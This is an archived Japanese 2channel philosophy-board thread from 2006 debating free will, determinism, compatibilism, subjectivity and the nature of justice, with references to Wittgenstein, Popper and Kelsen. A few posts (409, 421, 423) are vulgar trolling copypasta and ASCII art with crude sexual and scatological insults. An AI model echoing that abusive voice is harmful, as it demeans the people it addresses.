(2)やりたくないことは、しなくてもいいてこと、かな〜




401 :考える名無しさん:2006/11/15(水) 23:38:44
動機からも自由でなければならないか?

402 :考える名無しさん:2006/11/15(水) 23:42:34
>>401

113 考える名無しさん sage 2005/09/09(金) 00:03:22
>> 109

                            意志・願望はどこに入るんだろうか・・・?

ある 〔A〕            ↓ココ?     ↓ココ?      ↓ココ?     ↓コノアタリ?        根本原因としての意志?
という行為                                                                ↓
  ┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ ━ ・・・・・? ●
    ↑        ↑        ↑        ↑         ↑
  物理的     現在の   成功への希望   伝聞等      過去の     遺伝子レベルでの
  肉体的制限   環境    失敗への怖れ   関連情報    経験・記憶   行動への縛り



さて、どこからが決定してるんでしょう?
一般的感覚と、哲学者の感覚と、決定論から見た線引きと、
かなりの違いがありそうですね


403 :考える名無しさん:2006/11/15(水) 23:50:30
その分類の仕方からすでに分からなかったりする。

404 :考える名無しさん:2006/11/15(水) 23:53:09
>399
>自由かどうかなんて、主観的な受け止め方でしかないんだよ。
あなたって、主観とか客観ってどういう意味かわかってらっしゃるのぉ?




405 :考える名無しさん:2006/11/15(水) 23:56:18
>>404
あなたこそ面白いことを仰るw

>わかってらっしゃるのぉ?
わかっておりません。御教示願えれば幸いです。 m(_ _)m

406 :考える名無しさん:2006/11/16(木) 00:05:47
>>404
あなたは女性ですか、どうよ。と、だれかの真似をしてみる。

407 :考える名無しさん:2006/11/16(木) 00:07:27
>>406
ワロタw

408 :考える名無しさん:2006/11/16(木) 00:07:55
>わかっておりません。御教示願えれば幸いです。 m(_ _)m
そぉんなの常識よぉ。
命題Aがあるとするでしょ。
Aの真理値に関して「いつでもどこでも誰にでもひとしく」を満たす場合『客観的』に真偽判定しているっていえるわ。
わたしが「新城のことすき♪」といったとするでしょ。
これって、おなじわたしだって、別の彼すきになるかもしれないもん。
これは「あるときあるところで誰かが任意に」を満たす命題だと思うわ。
だから、主観的命題でしょ。


409 :考える名無しさん:2006/11/16(木) 00:09:41
>>408
おいおいwwwww
ついに俺のマラの臭さに降参したガキまでご登場かよm9。゚(゚^Д^゚)゚。プギャーーーッハッハーヒャヒャヒャヒャヒャヒャ
よほど俺の釜堀一筋30年のマラへのルサウンチマンが尽きたようだなぁニヤニヤ
ま、もとから俺様のウンコのおおきさには対抗すらできていなかったわけだが( ´,_ゝ`)


410 :考える名無しさん:2006/11/16(木) 00:14:47
ふつうぅ、『やりたいこと』とかいうと主観的になってしまうわね。
欲求願望は主観的命題ですものね。
『やるべきこと』が出来るとか言えば、客観的に自由なのでは・・・。



411 :考える名無しさん:2006/11/16(木) 00:19:09
>ついに俺のマラの臭さに降参したガキまでご登場かよ
あ〜ら、魔界転生をしらないのね。
>俺様のウンコのおおきさには・・・
あなたって雲黒齋さまのお知り合い?





412 :考える名無しさん:2006/11/16(木) 00:24:41
>>410
「出来る」と言っているのがあなたなら、それもまたあなたの主観では?

413 :考える名無しさん:2006/11/16(木) 00:42:30
うあああああああああああああああああああああああ










今、世界がぐるぐる回った・・・・ orz

414 :前擦腺 ◆BovECr9/c2 :2006/11/16(木) 00:52:11
>>396
自由意志がないにしても、結局35君という個体が大学に合格するためには、
受験勉強という「努力」が必要になる訳です。
努力する、しないは決定していると考えることができますが、
「努力」というのは文字通りの努力であって、どれだけ決定済みであっても、
努力に伴う苦痛や充実感などは否定されるものではありません。
それらを含めて「決定済み」です。

要するに、今までどおり頑張るしかない、ということですね。

415 :あ、連投規制オワタ?:2006/11/16(木) 00:57:57
>>408
>>399の例に当て嵌まるとは思えませんが?w
というより、399を補強するものでしかないような?

416 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/16(木) 00:58:38
>>410
>ふつうぅ、『やりたいこと』とかいうと主観的になってしまうわね。

主観的なこと・・・とは、実は脳の内部で発生している「指向的クオリア」
という「指標」・・ある意味の「欲望」なのです。
それに対して「外界」からは「感覚的クオリア」という「誘惑情報」が絶えず
絶え間なく到来しておりますので、それらの「誘惑情報としての感覚的クオリア」
に、「欲望としての指向的クオリア」が「どう反応するのか」・・という「トランザクション」
が、私たちの「脳内」で、日々常態的に形成されているのです。
・・まあ、いわば「指向的クオリア(買い需要)」と「感覚的クオリア(売り需要)」が、
トランザクショナルなシステムとして交錯する「証券取引所のような『場』」が、「脳内の情報処理システム」
なのです。


417 :考える名無しさん:2006/11/16(木) 01:01:13
「もしあの時AだったらBだっただろう」

自由意志を心のどこかでほんの少しなりとも信じている限り必ずついてまわる
後悔と蹉跌つまり絶望の危険性


418 :考える名無しさん:2006/11/16(木) 01:12:53
全ては主の御心のままになされている

全ては主の御心のままに

全ては主の御手に委ねられている

全てを主の御手に委ねる





アーメン




419 :救いを求める者 ◆7UpSOEZchg :2006/11/16(木) 01:21:14
自由意志は、意思が因果律に縛られていないということでは足りない。
もし意思が因果律に縛られておらず、完全にランダムであるならば、

「私の意思決定はでたらめである」

ということにしかならない。
つまり、因果律の除去の後に残るのは、自由な意思決定ではなく、
偶然に満ち溢れた世界である。
このことをアウレリウス帝は正しく理解していたように思う。

「人生は必然であるか、偶然である」と。

420 :考える名無しさん:2006/11/16(木) 01:22:13
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''- .._   ~""''' ‐- ...,,__              _,,..-‐''~""''' ‐- ...,,___,,.-‐'
     春日飯大砲台【かすがいいたいほうだい】
       (国指定史跡:埼玉県春日部市)

421 :考える名無しさん:2006/11/16(木) 01:26:00
おいおいwwwww またまた俺のコピペかwwwwwwwwww
ついに俺のマラの臭さに降参したのかよm9。゚(゚^Д^゚)゚。プギャーーーッハッハーヒャヒャヒャヒャヒャヒャ
よほど俺の釜堀一筋30年のマラへのルサウンチマンが尽きたようだなぁニヤニヤ
ま、もとから俺様のマラの臭さには対抗すらできていなかったわけだが( ´,_ゝ`)

422 :考える名無しさん:2006/11/16(木) 01:32:53
「主」という言葉が人格としての自我イメージに汚染されすぎてしまっていると
感じるのであれば、「自然現象」とでも呼べばいい。そしてそれが無機質に過ぎ
ると感じるのであれば、東洋には森羅万象という麗しいクオリアを宿した言霊が
ある。


423 :地獄の門:2006/11/16(木) 01:38:21
             | ̄ ̄|| | ̄ ̄|i | ̄ ̄|| | ̄ ̄|l
           || ̄ ̄| ̄ ̄l ̄ ̄| ̄ ̄! ̄ ̄| ̄ ̄| ̄||
           l| ̄| ̄ ̄i ̄ ̄| ̄ ̄l ̄ ̄| ̄ ̄! ̄ ̄|l
 | ̄ ̄|l | ̄ ̄|| || ̄ ̄| ̄ ̄| ̄ ̄i ̄ ̄| ̄ ̄| ̄ ̄| ̄|| | ̄ ̄|| | ̄ ̄|i
 ̄i ̄ ̄|゙ '' ̄i ̄ ̄|| ̄! ̄ ̄;/  ̄ ̄ ̄ ̄ ̄ ゙̄ヾ ̄| ̄ ̄|i ̄| ̄`~|i ̄ ̄| ̄ ̄
 ̄ ̄| ̄ ̄i`~ ̄| ̄i| ̄ ̄| ̄|: : : : : : : : : : : : : : : | ̄ ̄| ̄|| ̄ ̄i ̄″| ̄ ̄|i ̄
 ̄| ̄;゙|i ̄ ̄l! ̄ ̄|| ̄| ̄ ̄|: : : : : : : : : : : : : : : | ̄i ̄ ̄|| ̄i ̄ ̄| ̄ ̄i ̄~`l
 ̄ ̄i ̄ ̄| ̄ ̄i、 ;|| ̄ ̄| ̄|: : : : 小ヨハネ立入厳禁: : : | ̄ ̄| ̄|l ̄ ̄| ̄`~|i ̄″| ̄
 ̄i ̄`~| ̄ヾl; ̄ ̄l| ̄| ̄ ̄|: : : : : : : : : : : : : : | ̄| ̄ ̄|| ̄| ̄ ̄i| ̄ ̄| ̄ ̄
`、 ̄| ̄ ̄i ̄ ̄| ̄|| ̄ ̄| ̄|: : : : : : : : : : : : : : : | ̄ ̄! ̄|| ゙̄ ゙i ̄ ̄| ̄ヾi| ̄
″| ̄ ̄i| ̄!,,| ̄ ̄i| ̄! ̄ ; :|: : : : : : : : : : : : : : : i ̄| ̄ ̄|| ̄i ̄ ̄| ̄ ̄i ̄ ̄l
| ̄~~i ̄ ̄| ̄ i ; ̄|| ̄ ̄| ̄|: : : : 小ヨハネ→ξ:トントン! : :  ̄ ̄| ̄|| ̄゛| ̄ ̄|i ̄ ̄| ̄_
''- .._   ~""''' ‐- ...,,__              _,,..-‐''~""''' ‐- ...,,___,,.-‐'
    小ヨハネ「せめて、ペニスは悪魔の専売特許ではないという弁明をお聴き下さい」

424 :考える名無しさん:2006/11/16(木) 07:38:00
    ___      ___
.   (    )     (    )
     ̄|  |      |  | ̄
     |  |      |  |
     |  |.     |  |
     \ \__/ /
       \    /
       /|.    |ヽ
      / ⊃   ⊂.\
    / /|     |\ \
    ( <  |     |.  > )
    \ \|     |/ /
  __ \__  ___/
  ||\  .:;Σ;:|  |:;て;:. \
  ||\\   """""    \   <パーソナリティ障害隔離病棟スレ
  ||  \|| ̄ ̄ ̄ ̄ ̄ ̄ ̄||
     .  || ̄ ̄ ̄ ̄ ̄ ̄ ̄||
       .||              ||


425 :考える名無しさん:2006/11/16(木) 08:45:56
>>417
たしかに、すべてが「決定済み」と信じるほうが、何が起きても「これは私の
せいじゃない」と堂々と開き直れるし、また諦めることも容易だろう。悪くな
い“人生観”だ。

426 :考える名無しさん:2006/11/16(木) 10:40:49
そもそも決定論と自由意志が対立するというのがわからない。
意志を勝手に歪められない、決定論に支えられた自由意志というのもあるんじゃない?

427 :考える名無しさん:2006/11/16(木) 11:59:13
>>426
もちろんそうした考え方もあるよ。
いわゆる両立論だね。

428 :考える名無しさん:2006/11/16(木) 13:03:51
自由意志の有無の問題は、「倫理規範は自由意志を必要条件とする」という
命題を否定すれば、大した問題では無くなる。

429 :考える名無しさん:2006/11/16(木) 16:37:41
>>361
>正しいかどうかなんてどうでもいいの。
だからおれもそう言ってるじゃんよw

>問題はその「モデル」に観測者としての我々自身が含まれてること。
>そのことが問題を引き起こすって採算くりかえしてんだろ。
話を整理しとくと、決定論については、観測者がいるかいないかは問題じゃない。
単に、誰が何をしようが世界は勝手に決定論的な物理法則に従って
時間発展していくってだけの話。
もちろんそれが「本当に正しいか」は誰にも確かめようがない。
君の言う「問題」ってのが、「あらかじめ全て決まってるならいろいろ考えたり
努力したりすることは無駄でしかない」っていう「居心地の悪さ」のことだったら、
それは単に君自身の問題であって、決定論自体に問題があったり意味がなかったり
不可能だったりするわけじゃない。
そういう居心地の悪さは脇にのけておけば、決定論的な物理法則から得られる
予想を元に様々な現象を理解したりいろいろな道具や機械を発明したりできる。
そういう点で、決定論を語ることには十分な意味がある。

唯物論についても同様で、自分の持つ主観的な意識も結局はモノの相互作用から
生まれているに過ぎない、という居心地の悪さはあるが、それ以上に現象の説明原理として
有用だから今まで残ってきたわけで、その点に唯物論を語る意味がある。

君が言ってるのは単に「自分が気に入らないから無意味だ」ってだけのことで、
それはまあ君個人にとってはそうなんだろうが、一面的な見方に過ぎない。
君の好きなウィトゲンシュタイン的な見方以外にも世界の見方ってのはあるわけで、
問題はそういういろいろな見方の間をどう取り持っていくかってことにある。
特にこのスレで問題になってるのは主観的な見方と客観的な見方をどう取り持つかってことで、
主観的なほうの極に最高位が、客観的なほうの極に機械がいるわけ。

430 :第2唯物論 ◆qBkUSoWgX. :2006/11/16(木) 17:24:33
 >もちろんそれが「本当に正しいか」は誰にも確かめようがない

そんなことないぜこのスレの最近の香具師は確かめ様がないというだけ、科学者に聞いてみな
統計学というと語弊があるがそれにちかいものできちんと説明できる科学者は大勢いるぜ
自分らが判らないだけなのに誰もわからないというのは無知で醜い

431 :考える名無しさん:2006/11/16(木) 17:27:16
>>430
そうだな。
その論だと、決定論を否定することもまた不可能になる。

432 :考える名無しさん:2006/11/16(木) 17:34:54
>>430
「正しいと断言してしまっても構わないぐらい確からしい」としか言えないの。
人の言ったことの受け売りだけじゃなくてもっと自分の頭で考えな。

433 :考える名無しさん:2006/11/16(木) 17:37:26
決定されてるけど人の認識には限界があるから決定されていないようにも
見える。決定されてないようにも見えるなら決定されてないのと同じよう
なもの。よって決定論は正しくても決定されていないと言って良い。
自由意志は存在するかどうかは関係なく、自由意志があるとした方が
法規上都合が良いので存在すると決めておいた方が良い。

434 :考える名無しさん:2006/11/16(木) 17:39:18
>>433
こうやっていろんな言葉を都合よく違う意味に読み替えていく輩が多いから話がいつまで経っても進まないんだよな

435 :考える名無しさん:2006/11/16(木) 17:43:59
それはすまんこ!

436 :考える名無しさん:2006/11/16(木) 18:33:59
読み替えもなんもそもそもが定義の問題

437 :35:2006/11/16(木) 19:12:42
>>429
> 君が言ってるのは単に「自分が気に入らないから無意味だ」ってだけのことで、
それはまあ君個人にとってはそうなんだろうが、一面的な見方に過ぎない。

別に決定論すべて否定してるわけじゃないんだけど。
「観念」やら「精神」を認めない『硬い決定論』は本来の意味でナンセンスだよっていってるだけ。
観念によって観念を否定してどうするんだってことなわけ。

大体、役に立つかどうかと、それが思想として正しいかどうかはまったく別問題なんだが。
ニュートン力学は厳密にいえば間違いだが、今の世の中を作るのに大いに役に立ってるしな。

> 君が言ってるのは単に「自分が気に入らないから無意味だ」ってだけのことで、

いや。あっそう。
どのようにそのように結論づけたかわからんけどな。俺はあんたが「自分が気に入らないからお前は間違ってる」
って主張してるように見えるよ。まあ、それも一面的な見方なのかもしれんけど。
とりあえず勝手にしてください。俺は別になんにも強制しないから。あとは主観の、
それこそ『お気に入りの』解釈を引っ張ってくればいいしね。あと一つ指摘しておく。

> もちろんそれが「本当に正しいか」は誰にも確かめようがない。

これはない。たとえ絶対にありえないと思われる事実、たとえば
「俺は長澤まさみと付き合っている」という事実であっても、依然として成り立つ可能性はある。
実際付き合ってるかもしれない。でも、それは俺と長澤まさみにしかわからない。
だからあなたたちに判断しようがない。どうだ、うらやましいだろう。

でも、「三角形には四つの辺がある」という事実は成立しようがない。
今後いかに観測技術が発達しようと、「辺が四つの三角形」は存在しない。
どうように「観念をもって、観念の存在を否定する硬い決定論」はナンセンスである。
認識論を元に語ってる時点で、そもそも論点がずれてるのさ。

438 :35:2006/11/16(木) 19:33:57
> 君の言う「問題」ってのが、「あらかじめ全て決まってるならいろいろ考えたり
努力したりすることは無駄でしかない」っていう「居心地の悪さ」のことだったら、

ちなみにまったく違うよ。大体俺は自由意志を否定する側にいたのがわからんのか。
ただ、「観念をもって観念を否定する」ということが不可能だといってるだけ。
自然科学も、認識も決定論そのものもそもそも観念なので、決定論によって観念を否定することはできない。
ただそれだけのこと。実際にはないのかもしれんが、それは我々には不可能。
それは観測が云々認識が云々の問題ではなくて、そもそも原理的に不可能なのだということ。

だから、結局認識論じゃなくて言語論の問題なんだってば。
俺は形而上学的な議論にはなるべく加わらないようにしてきたし。

439 :考える名無しさん:2006/11/16(木) 19:36:05
>>437
>「観念」やら「精神」を認めない『硬い決定論』

ふつうそんなのは決定論ではない。
決定論は、精神を認めない無いのではなく、精神の状態変化が決まっているとするだけ。

440 :考える名無しさん:2006/11/16(木) 19:40:24
>>437
ずいぶん混乱してるな

>「観念」やら「精神」を認めない『硬い決定論』は本来の意味でナンセンスだよっていってるだけ。
決定論は「観念」とか「精神」とかを認めるか認めないかとは関係ないだろ。
決定論が主張するのは、観念やら精神やらがあるとしたら、
それら振る舞いはあらかじめ決定されているってことだけで、
それらがあるかどうかは決定論を採るかどうかとは別の問題だよ。
(極端な話、心身二元論+決定論という立場もあり得る)

>大体、役に立つかどうかと、それが思想として正しいかどうかはまったく別問題なんだが。
だからそういうことをこっちは最初(>>319)から言ってるんじゃないかw

>でも、「三角形には四つの辺がある」という事実は成立しようがない。
>今後いかに観測技術が発達しようと、「辺が四つの三角形」は存在しない。
>どうように「観念をもって、観念の存在を否定する硬い決定論」はナンセンスである。
>認識論を元に語ってる時点で、そもそも論点がずれてるのさ。
「三角形には四つの辺がある」かどうかと「決定論は正しい」かどうかは同列にならんだろう。
前者は文法の問題で確実に偽。
後者は真偽を確かめようがない問題で、前期ウィトでは意味がないとされる問い。
(前者のような文法的に真偽が確定してしまう文をウィトは論考では考慮に入れてなかったらしいな)
真偽が確定している文と真偽が確定し得ない文との間に、どういう共通性を君は見ているわけ?

441 :ゾルレン:2006/11/16(木) 19:42:38
>>380
>あなたの述べるように「正義がエゴイズムを禁止する形式」だとする。では、
>この形式を是とする集団(組織)はどこに存在するのか。
ほぼすべての集団において是とされているでしょう。
エゴイズムを許容する集団があるならば挙げてみて欲しいものです。
もし、そのような者たちがいるならば、彼らの名は「アナキズム」しかないでしょう。

多くの真実を語る者の誰もが論理的矛盾を犯してないのと同じように
多くの組織の規則の何もがエゴイズムを許さないのです。

形式的正義は「これは正しい」と言えるような具体的な内容をもったものではありません。
正義の理念それ自体がもつ形式的な内容です。
論理は矛盾を禁止しますが「なぜ矛盾してはいけないのか?」と問いをたててもよいでしょう。
同じく正義理念はエゴイズムを禁止しますが「なぜエゴイストであってはいけないのか?」と問いをたててもよいのです。
論理を受け入れたところで内容のある真を得ることはできませんが、ある関係に対して「偽である」と言う事はできます。
同じく正義理念を受け入れたところで内容のある正義を得ることはできませんが、ある関係に対して「不正である」と言う事ができます。

>現実には、いかなる集団も自らの利益拡大を“正義”としているのではない
>か。国家、党派、宗派、企業、ヤクザ組織等々…。集団的エゴの拡張こそが
>その組織の存在理由(正義)であり、そこに例外はみられない。
「自ら」ってなんですか?その集団のことですか?
また、「利益」とはなんでしょうか?
ある人がお金が欲しくて盗みを働いて刑務所に入れられました。
彼は利益を求めたのでしょうか?彼は利益を得たのでしょうか?
逆に盗みを働かなかった人もまた利益を求めて利益を得たのでしょうか?
相反する事例の双方を説明してしまう理論はわたしは虚無だと考えます。

また、存在理由と正義はわたしにはまったく別のものです。
あなたが「正義」という言葉をどのような意図で使用しているのかわたしにはわかりません。


442 :35:2006/11/16(木) 19:47:23
>>439
だったらそれでいいんじゃないの?俺も間違ってないしあんたも間違ってないってことで。
俺は「観念や精神も認めない」という立場は、言語論的にとりえないということを示しただけ。

俺がやりたかったのは「そもそも問題ではない」ことを「そもそも問題ではない」
示すことだけでそれ以上はないの。

あとあんたの言うとおり、認識論的にはこれは証明することができない命題だ。
初期の俺の書き込みは認識論的な批判と、言語論的な批判がごっちゃになってたから分かりづらかったかもしれん。
この点に関しては申し訳ない。

443 :35:2006/11/16(木) 19:52:20
> 真偽が確定している文と真偽が確定し得ない文との間に、どういう共通性を君は見ているわけ?

めんどくさいな。
「観念は存在しない」ということが成立し得ないということは真偽が確定しているでしょうが。
あと、「決定論は正しい」というのは確かに真偽が確定しようがない。
だから形而上学的な問いであって、俺はどうでもいい。勝手にしてください。

結局俺は「観念や精神すらも否定する原理主義的決定論」に対して批判しただけ。
それが意味がないっていうならそうなんでしょうけど。
別にあなたが目くじらたてることのほどでもない。別に意味があるかどうかは俺にはどうでもいい。

444 :ゾルレン:2006/11/16(木) 19:54:27
続き

>皮肉なのは、それに寄与することが個々の成員にとってはエゴの揚棄を意味
>することだろう。国家のために、党派、宗派、会社、組のために、しばしば
>人はその身を投げ出す(時には、相手を殺す)。このとき、もしかすれば深い
>快感とともに正義の実践感覚をも体得できるのではないか。
わたしは目的が手段を正当化すると欠片たりとも思いません。
ポパーはこのことをマルクス主義との決別の理由にしていますね。
運動においてマルクス主義の若者数名の命が散った。
ポパーはこの事実に対して悲しみ、運動に参加した者の一人として若者の死の責任を少なからず負うと考えていた。
しかし、指導者は違った。

この死がいずれ社会を変革し理想を築く礎となる。
来るべき理想的社会が来ることの利益と、若者の死の損失を比較すれば
理想的社会を実現することで若者の死の損失を取り返すことができる。

このような言葉にポパーはショックを受けたそうです。
わたしもポパーの考え方に賛成です。
正義とは問いであって答えではありません。
「真理を知っているという態度がファシズムにつながる」と上に書きましたが
同じく、正義を知っているという態度もファシズムにつながるものなのでしょう。

あなたの言葉を見ると、あなたは「何が正義か」については私より知ってそうですね。
わたしが勉強したのは「正しさとは何か」「善さとは何か」でしかないもので
具体的に「これが真理であり、これが正義である」と言えるようなものについてはわたしは何一つ勉強してないのです。


445 :考える名無しさん:2006/11/16(木) 19:55:52
>>443
さてようやく核心に触れられるわけだが。

>「観念は存在しない」ということが成立し得ないということは真偽が確定しているでしょうが。
君の言う観念って何?
主観的意識が持つイメージのこと?

446 :35:2006/11/16(木) 19:58:39
> だからそういうことをこっちは最初(>>319)から言ってるんじゃないかw

役に立つから意味があるっていうならそうなんでしょう。どうぞご勝手に。と俺も最初から言ってるけど。
別に俺はそんなことに意義を唱えたりしてません。俺はもともと決定論的世界観を持ってますし。
自由意志も認めてません。でもそんなことを主張する気はありません。議論しても仕方ないと思ってるから。

まとめるなら、
「決定論は正しい」という命題は認識論的に真偽が確かめようが無い。だから形而上学的な問題であって
俺の関知するところではない。
「観念は存在しない」という命題はそもそも観念的に語られている以上ナンセンスです。
だから意味が無いと思います。

そして、あなたは「観念も精神も認めない決定論」なんぞ一般的な決定論ではないという。
だったらそれでいいではないですか?俺は至極どうでもいい論に対してどうでもいい批判を行ったという
ことになりますが。この時俺の行動は無意味と判断されるかもしれませんが、同時に別に
食って掛かるようなことではないでしょう?

447 :ゾルレン:2006/11/16(木) 19:59:55
続き

>酔っているのでこの辺でやめますが、ゾルレンさんの「正義」観は解体され
>つくし、建て前ですらなくなっているのではないか、ということです。
あなたが酔っているのは酒を飲んでいるときだけではないのでしょう?
ポストモダンは「酩酊主義」という呼ばれ方をもってますね

さて、わたしの正義は建前かどうかに関しては
残念なことにわたしは「これが善いと思う」というような自らの正義をまだ語ってません。
われわれが価値について述べる際にわれわれが前提にする正義理念についての説明です。
わたしが問題にしたのは「何が正義か?」ではなく「正義とはどのようなものか?」です。
あなたがこの問題に興味がないのなら、わたしとあなたの間には言葉の接点は何一つないのでしょう。

わたしは立場が違う者同士でも議論は可能であると考えますが、議論において問いの共有は必須であると考えます。
わたしとあなたにおいて問いが共有されてない以上、
わたしがあなたと言葉を交わすことは野良犬の発するうなり声以上の効果をもたないでしょう。


448 :35:2006/11/16(木) 20:06:42
>>445
> 君の言う観念って何?
主観的意識が持つイメージのこと?

くると思ったww
デカルト的な、あるものが意識の中に現われている姿でいいんじゃない。
んで「決定論」自体が観念でしょう。だったら決定論じゃ観念を否定できないよって。
おんなじようにして精神や意識のほうも反論できそうだが、もっと複雑になりそうだからやめた。

それで、ここからどう核心へ導くんですか?

449 :考える名無しさん:2006/11/16(木) 20:12:25
今あなたたちが「けんか」をしているということを、
文の内容を読まなくても「そのレスの形から判断できます」。

名前が緑で三桁までの数字・・・
引用符の使用率・・・
改行位置までの長さの平均・・・
段落数・・・
丁寧語の語尾使用後の、段落分け・・・

以上のようなポイントに注目すれば、そこで行われる議論の種類、内容について、
かなりの「推測ができます」。
ちなみに段落分けが少なく、一行の長さが短い割りに、
全体が長くて漢字使用率と数学記号使用率の高いものは、
パラノイア的傾向があると「思われます」。

450 :ゾルレン:2006/11/16(木) 20:13:25
軽く説明する。

哲学は「真理」を倫理学は「善」について考える。
形式的正義とエゴイズムの禁止は法哲学におけるアリストテレス研究からひっぱってきたものだ。
これら哲学が考えるのは、

 「〜が正しい」これが答えですよ、さ、暗記してください

というような受験勉強チックなものではない。
「もし、真理があるとしたら、それはどのようなものか?」
「もし、正義があるとしたら、それはどのようなものか?」
そういった問いだ。
これは大学一年の時に耳が痛くなるほど言われものだが
「倫理学は『何が善いのか』について考えるのではなく『善さとは何か』について考える」

「良い」も「白い」も形容詞だからこれを置き換えて表現すると
・「何が白いのか」ではなく「白さとは何か」について考える

倫理学や正義論はそれぞれが白いものを主張し争う布教活動ではない
哲学も同様だ。


451 :35:2006/11/16(木) 20:14:42
えっと今日はこれ以上書き込めないので、いまのうちに書いときますが

もし「観念」の意味を考察していこうっていうなら勘弁してね。
俺にとっては辞書的な意味で十分だし、例え俺の観念という語の使い方が間違っていたとしても、
そりゃ決定的な反論にはならない。決定的なのは

「決定論は観念ではない」と証明すること。この後論を進めたいならその方向で頼む。
それなら楽しめそうだ。

452 :ゾルレン:2006/11/16(木) 20:27:17
>結局俺は「観念や精神すらも否定する原理主義的決定論」に対して批判しただけ。
>それが意味がないっていうならそうなんでしょうけど。

問うことに意味はあります。
これを「超実論的基礎付け」などと呼びますが
別に考えたっていいし、そのことに意味はあります。

例えば、隕石が落ちてその跡が「すべては物理法則によって決定している」と描いたとしましょう。
その隕石の落下もまた物理法則の結果でしかありませんから
隕石の書いた文章は偶然(実は物理法則による必然)の産物であり
その文章に対して真剣に悩む必要はありません。
しかし、その文章の内容が世界と一致する、つまり、その文章の内容が真である可能性はありますし、
われわれが「そうかもしれない」と考えることは決して無意味ではありません。
これは観念や精神を否定する決定論ですら正しい可能性があるということです。


 この超実論的基礎付け批判はウィトゲンシュタイン批判に使える、
というか、順序は逆でウィトゲンシュタイン批判からもってきたのだが。



453 :35:2006/11/16(木) 20:41:28
> しかし、その文章の内容が世界と一致する、つまり、その文章の内容が真である可能性はありますし、
われわれが「そうかもしれない」と考えることは決して無意味ではありません。

だから、別にいいですよって。あなた方にとって意味があるならそうなんでしょう。
そもそも決定論的に考えるならば、俺がこうやって書き込むこともあなたがそういうレスをすることも
全部決まってることなんでしょうしね。

大体意味がどうのってのは実際どうでもいいんです。
俺はどちらかといえばニーチェなどの「社会的に見ればまったく無意味な哲学」を
こよなく愛していますしね。逆に、「ニーチェの思想はナチスを抑止できなかった」などという
批判を見ると吐き気をもよおしますが。

これ以上語ると「意味」についてまた語りだす人がいるかもしれないので、もういいです。

って、また書き込んでしまった。勉強しないと。

454 :ゾルレン:2006/11/16(木) 21:01:32
>>453
>だから、別にいいですよって。あなた方にとって意味があるならそうなんでしょう。
>そもそも決定論的に考えるならば、俺がこうやって書き込むこともあなたがそういうレスをすることも
俺は非決定論者だが、そう考える余地はあるということ
これは超実論的基礎付け批判を決定論に使い回しただけだが、

本来は、論理を前提とするわれわれが「論理が間違っているかもしれない」と論理を使用して悩むことや
理性を前提とするわれわれが「理性は間違っているかもしれない」と理性を使用して悩むこと
そのような悩みが無意味かどうか、というところで使用される

そして、論理を前提として受け入れながら論理の批判可能性を考えることは決して無意味ではない
興味ないならそれもそれでいいがね



455 :考える名無しさん:2006/11/16(木) 21:02:37
二諦、二諦

456 :ゾルレン:2006/11/16(木) 21:18:56
別に何をどう考えようと構わないが
「真偽が確定している」なんていうセリフはある思想に対して自らの固執を表明しているだけだ

それはポモだろうと分析哲学だろうとどの立場になろうとも
「ある考えが真であることは明らかになっている」というのは、単に信念の表明でしかない。

「真理がない」というのもそう。その考えに固執すれば信者と同じだ
「真理はあるかもしれないし、ないかもしれない」(もっとも、こう発言する時、わたしは真理が存在することを前提とせねばならないが)

たしか原始仏典に『川に浮かぶ板の上にいるように、言葉も論理も固執するならばもろとも沈むもの・・・』
みたいな話があったが
思考の確固たる地盤などというものはどこにもない
言葉を使用し思考する行為は水に浮かぶ板切れの上のようなものだし
どこかひとつでも硬い地面の上にいると考えるならば転覆してしまうのではないだろうか


457 :考える名無しさん:2006/11/16(木) 21:28:30
>>450
>「もし、真理があるとしたら、それはどのようなものか?」
>「もし、正義があるとしたら、それはどのようなものか?」

しかし、あらかじめ「真理」や「正義」の意味
(それが何を指すのか≒どのようなものか?)がわかっていなければ、
それが「ある」というのがどういうことなのか、わかりようがないのではないか。
「あるとしたら、それはどのようなものか?」というのは、
どうも循環した問いのように思えるが。


458 :ゾルレン:2006/11/16(木) 21:31:57
さて、落ちる

ところで、今日
「昨日の夕方、雨が降ったよね、すごかったね」と言われた
「昨日、雨が降った」という言明を俺は真だと考えて同意して話をすすめたわけだが
(場所については割愛)

「昨日、雨が降った」「昨日、雨は降らなかった」「それ以外」という言明のうち
排中律を採用するならば「それ以外」はない
矛盾律を採用するならば「昨日、雨が降った」と「昨日、雨が降らなかった」が同時に正しいことはない
ならば、「昨日、雨が降った」と「昨日、雨が降らなかった」のうち
どちらか片方は真でどちらか片方は偽だろう
だが、正当化について考えるとどちらも正当化できない
これは正当化できない真理の可能性を示唆するのではないだろうか


459 :考える名無しさん:2006/11/16(木) 21:33:29
35が批判されてる理由がよく分からんのだが。
35が複雑に書き過ぎなのか?

460 :考える名無しさん:2006/11/16(木) 21:39:03
>>457
それは難問だよね。「規範は定義可能か?」
というとき、その形式はいつどこでどのように与えられてるのか。

461 :救いを求める者 ◆7UpSOEZchg :2006/11/16(木) 21:42:56
規範は定義可能か?

という問題は二元論(特に自然主義的誤謬)の問題と関連している
ように思われる。つまり、「規範」が「事実」から導き出されない
ならば、「規範は規範によってしか定義できない」ということになり、
そのような定義の仕方ができるならば、「規範は定義される前に既に
分かっているはずだ」ということになる。

ケルゼンはこのことに気付いていたので、

「存在の概念と規範の概念は先天的に与えられている」

と言って逃げた(?)。

462 :考える名無しさん:2006/11/16(木) 22:24:50

ここも自作自演スレか

463 :考える名無しさん:2006/11/16(木) 23:12:12
>>441
私の文章が舌足らずだったのでしょう。こういう意味です。
あらゆる組織は、個々の成員のエゴを禁止する。そのとおり。さりながら、
当の組織は個々の成員のエゴを回収しつつ、それを発條に(組織)自らはその
エゴの拡張を追求する。そうでない組織があれば、教えていただきたい。




464 :救いを求める者 ◆7UpSOEZchg :2006/11/17(金) 00:11:02
そういう組織があるかどうかで規範を語るのは自然主義的誤謬だと思うが。

465 :考える名無しさん:2006/11/17(金) 00:13:29
>>441
あなたのような高等遊民?にすら正義が何かわからないのだから、私にそれが
わかろうはずがありません。ただし、組織にとってそれは明白。利益の追求で
ある。ただし、あなたの譬えのように利益=おカネと言い切ってしまうなら、
その意味を矮小化することになる。

ところで、目的は手段を正当化しない(らしい)。が、これも高等遊民や高等貴族
のタワゴト。目的を達成し、ホリエモンのように法の網に引っかからなければ、
手段の正否は問われない。もちろん私は“真理”を語っているのではなく、事実
について述べているのだが。

酩酊して麻雀に勝てますか。私も、昼間から酔っ払うわけにはいかないのです。




